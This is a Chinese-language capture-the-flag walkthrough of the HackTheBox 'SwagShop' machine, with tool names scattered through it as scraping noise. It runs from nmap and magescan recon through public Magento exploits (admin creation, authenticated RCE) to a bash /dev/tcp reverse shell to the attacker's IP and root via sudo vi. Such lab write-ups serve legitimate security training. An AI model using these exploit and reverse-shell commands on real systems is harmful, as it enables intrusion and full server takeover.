出品|MS08067實驗室(www.ms08067.com)php
本文做者:是大方子(Ms08067實驗室核心成員)
html
總結與反思python
靶機介紹linux
靶機IP:10.10.10.140
kali:10.10.12.69git
先用nmap來對靶機進行探測github
nmap ‐sC ‐sV ‐T 5 ‐oA Swagshop.nmap 10.10.10.140
掃描結果web
# Nmap 7.80 scan initiated Fri Oct 4 13:24:03 2019 as: nmap ‐sC ‐sV ‐T 5 ‐oA Swagshop.nmap 10.10.10.140 Warning: 10.10.10.140 giving up on port because retransmission cap hit (2). Nmap scan report for 10.10.10.140 Host is up (0.33s latency). Not shown: 855 closed ports, 143 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) | ssh‐hostkey: | 256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA) |_ 256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http‐title: Home page Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at http s://nmap.org/submit/ . # Nmap done at Fri Oct 4 13:25:16 2019 ‐‐ 1 IP address (1 host up) scann ed in 73.75 seconds
開放了22 和 80端口,直接打開訪問下網頁shell
Magento是一款新的專業開源電子商務平臺,採用php進行開發,使用Zend Framework框架。
設計得很是靈活,具備模塊化架構體系和豐富的功能。易於與第三方應用系統無縫集成。在設計上,包含至關全面,以模塊化架構體系,讓應用組合變得至關靈活,功能也至關豐富。express
接下來就是網頁上進行信息收集。
首先是下面的版權,2014年能夠爲找漏洞的線索json
咱們隨便點開網頁有一個比較奇怪的地方,感受像是URL重寫,前面都會多一個index.php
經過gubuster,跑出來的目錄也沒有什麼用
這樣收集的信息也不是很夠,咱們還須要另外的工具進行輔助
magescan 專門針對magento的掃描器
下載地址:https://github.com/steverobbins/magescan/releases
>php magescan.phar scan:all http://10.10.10.140 Scanning http://10.10.10.140/... Magento Information +‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+ | Parameter | Value | +‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+ | Edition | Community | | Version | 1.9.0.0, 1.9.0.1 | +‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+ Installed Modules No detectable modules were found Catalog Information +‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐+ | Type | Count | +‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐+ | Categories | Unknown | | Products | Unknown | +‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐+ Patches +‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐+ | Name | Status | +‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐+ | SUPEE‐5344 | Unknown | | SUPEE‐5994 | Unknown | | SUPEE‐6285 | Unknown | | SUPEE‐6482 | Unknown | | SUPEE‐6788 | Unknown | | SUPEE‐7405 | Unknown | | SUPEE‐8788 | Unknown | +‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐+ Sitemap Sitemap is not declared in robots.txt Sitemap is not accessible: http://10.10.10.140/sitemap.xml Server Technology +‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+ | Key | Value | +‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+ | Server | Apache/2.4.18 (Ubuntu) | +‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+ Unreachable Path Check +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐ + | Path | Response Code | Status | +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐ + | .bzr/ | 404 | Pass | | .cvs/ | 404 | Pass | | .git/ | 404 | Pass | | .git/config | 404 | Pass | | .git/refs/ | 404 | Pass | | .gitignore | 404 | Pass | | .hg/ | 404 | Pass | | .idea | 404 | Pass | | .svn/ | 404 | Pass | | .svn/entries | 404 | Pass | | admin/ | 404 | Pass | | admin123/ | 404 | Pass | | adminer.php | 404 | Pass | | administrator/ | 404 | Pass | | adminpanel/ | 404 | Pass | | aittmp/index.php | 404 | Pass | | app/etc/enterprise.xml | 404 | Pass | | app/etc/local.xml | 200 | Fail | | backend/ | 404 | Pass | | backoffice/ | 404 | Pass | | beheer/ | 404 | Pass | | capistrano/config/deploy.rb | 404 | Pass | | chive | 404 | Pass | | composer.json | 404 | Pass | | composer.lock | 404 | Pass | | vendor/composer/installed.json | 404 | Pass | | config/deploy.rb | 404 | Pass | | control/ | 404 | Pass | | dev/tests/functional/etc/config.xml | 404 | Pass | | downloader/index.php | 404 | Pass | | index.php/rss/order/NEW/new | 200 | Fail | | info.php | 404 | Pass | | mageaudit.php | 404 | Pass | | magmi/ | 404 | Pass | | magmi/conf/magmi.ini | 404 | Pass | | magmi/web/magmi.php | 404 | Pass | | Makefile | 404 | Pass | | manage/ | 404 | Pass | | management/ | 404 | Pass | | manager/ | 404 | Pass | | modman | 404 | Pass | | p.php | 404 | Pass | | panel/ | 404 | Pass | | phpinfo.php | 404 | Pass | | phpmyadmin | 404 | Pass | | README.md | 404 | Pass | | README.txt | 404 | Pass | | shell/ | 200 | Fail | | shopadmin/ | 404 | Pass | | site_admin/ | 404 | Pass | | var/export/ | 404 | Pass | | var/export/export_all_products.csv | 404 | Pass | | var/export/export_customers.csv | 404 | Pass | | var/export/export_product_stocks.csv | 404 | Pass | | var/log/ | 404 | Pass | | var/log/exception.log | 404 | Pass | | var/log/payment_authnetcim.log | 404 | Pass | | var/log/payment_authorizenet.log | 404 | Pass | | var/log/payment_authorizenet_directpost.log | 404 | Pass | | var/log/payment_cybersource_soap.log | 404 | Pass | | var/log/payment_ogone.log | 404 | Pass | | var/log/payment_payflow_advanced.log | 404 | Pass | | var/log/payment_payflow_link.log | 404 | Pass | | var/log/payment_paypal_billing_agreement.log | 404 | Pass | | var/log/payment_paypal_direct.log | 404 | Pass | | var/log/payment_paypal_express.log | 404 | Pass | | var/log/payment_paypal_standard.log | 404 | Pass | | var/log/payment_paypaluk_express.log | 404 | Pass | | var/log/payment_pbridge.log | 404 | Pass | | var/log/payment_verisign.log | 404 | Pass | | var/log/system.log | 404 | Pass | | var/report/ | 404 | Pass | +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐ +
從掃描結果咱們能夠看到magento的版本大概爲1.9.0.0, 1.9.0.1。
敏感路徑:
/app/etc/local.xml(有線索) /index.php/rss/order/NEW/new(無用) /shopadmin/
接下來用searchsploit來找下magento如今已經的漏洞
經過 -x 參數能夠看到這些EXP的內容
主要是用到這兩個:
第一個,用來進行遠程代碼執行(可是須要經過身份驗證) 。
**第二個,能夠用來建立管理員帳號密碼(給第一個EXP的利用創造條件)。 **
先試用第二個EXP,建立管理員帳號密碼 經過-m 參數能夠吧EXP複製到當前路徑
而後對EXP進行修改,這裏修改3個地方。
而後執行下
咱們嘗試登陸下
成功登陸
接下來就是利用另外一個EXP,來進行遠程代碼執行
從新編輯下EXP
咱們能夠看到咱們須要配置的地方
username:dfz password:dfz php_function:咱們不須要修改 install_data:在上面咱們發現的/app/etc/local.xml能夠查詢到
配置好的信息以下:
開始執行
能夠看到mechanize報了一個找不到元素的錯,mechanize是python裏面模擬瀏覽器操做的模塊。結合它須要管理員帳號密碼,這裏應該填的是管理員頁面地址。
能夠看到命令執行成功
那麼咱們就用它反彈shell
沒法正常反彈!
這裏猜想,多是由於這串代碼傳到服務器的時候 可能由於空格或者是其餘的異常的符致使服務器執行失敗。以前咱們看到whoami命令是能夠正常執行的。那麼咱們就把代碼換成這樣
python 37811.py http://10.10.10.140/index.php/admin "bash ‐c 'bash ‐i >&/dev/tcp/10.10.12.69/4444 0>&1' "
這樣當服務器解析到bash -c 時 能夠把後面單引號內的內容執行,防止意外干擾
成功!!!咱們看下本身的sudo權限
能夠看到咱們使用vi和使用目錄/var/www/html是不須要密碼就能得到root權限的。
第一反應就是使用vi來進行提權,先使用python的pty
python ‐c "import pty;pty.spawn('/bin/bash')"
發現沒有python,可是咱們能夠用python3
python3 ‐c "import pty;pty.spawn('/bin/bash')"
而後在處理方向鍵等亂碼問題。
先ctrl+z 把進程掛到後臺,而後輸入stty raw -echo,在輸入fg(不會顯示出來),多按幾回回車便可
而後須要使用vi進行提權,須要注意的是:
sudo vi /var/www/html/sdfzy
vi開啓後進入命令行模式,而後執行命令
:!/bin/bash
便可拿到root權限!
轉載請聯繫做者並註明出處!
Ms08067安全實驗室專一於網絡安全知識的普及和培訓。團隊已出版《Web安全攻防:滲透測試實戰指南》,《內網安全攻防:滲透測試實戰指南》,《Python安全攻防:滲透測試實戰指南》,《Java代碼安全審計(入門篇)》等書籍。
團隊公衆號按期分享關於CTF靶場、內網滲透、APT方面技術乾貨,從零開始、以實戰落地爲主,致力於作一個實用的乾貨分享型公衆號。
官方網站:https://www.ms08067.com/
掃描下方二維碼加入實驗室VIP社區
加入後邀請加入內部VIP羣,內部微信羣永久有效!